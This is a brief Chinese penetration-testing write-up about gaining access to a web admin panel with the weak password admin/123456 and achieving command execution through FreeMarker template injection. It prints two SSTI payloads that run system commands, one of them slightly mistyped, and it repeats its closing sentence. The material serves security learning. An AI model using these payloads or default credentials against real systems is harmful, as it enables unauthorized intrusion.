freemarker 简述
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件
信息收集
开局一个登入框弱口令admin/123456登入管理员

来到系统设置,发现有个模版维护

只要创建保存点击发布就会报错500
ps:报错的图忘截图了,大概是这样子的但是发现里面有freemarker字眼的,而且页面中正好有模版功能,想到freemarker模版是有漏洞的

漏洞利用
freemarker模板注入文章:
2个poc一起使用
<#assign value="freemarker.template.utility.ObjectConstructor"new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whomai") }

命令执行成功

总结
信息收集中的报错网页信息至关重要,可能会爆出自身一些使用的框架和组件信息,为后续的漏洞利用创造更多的思路。信息收集中的报错网页信息至关重要,可能会爆出自身一些使用的框架和组件信息,为后续的漏洞利用创造更多的思路。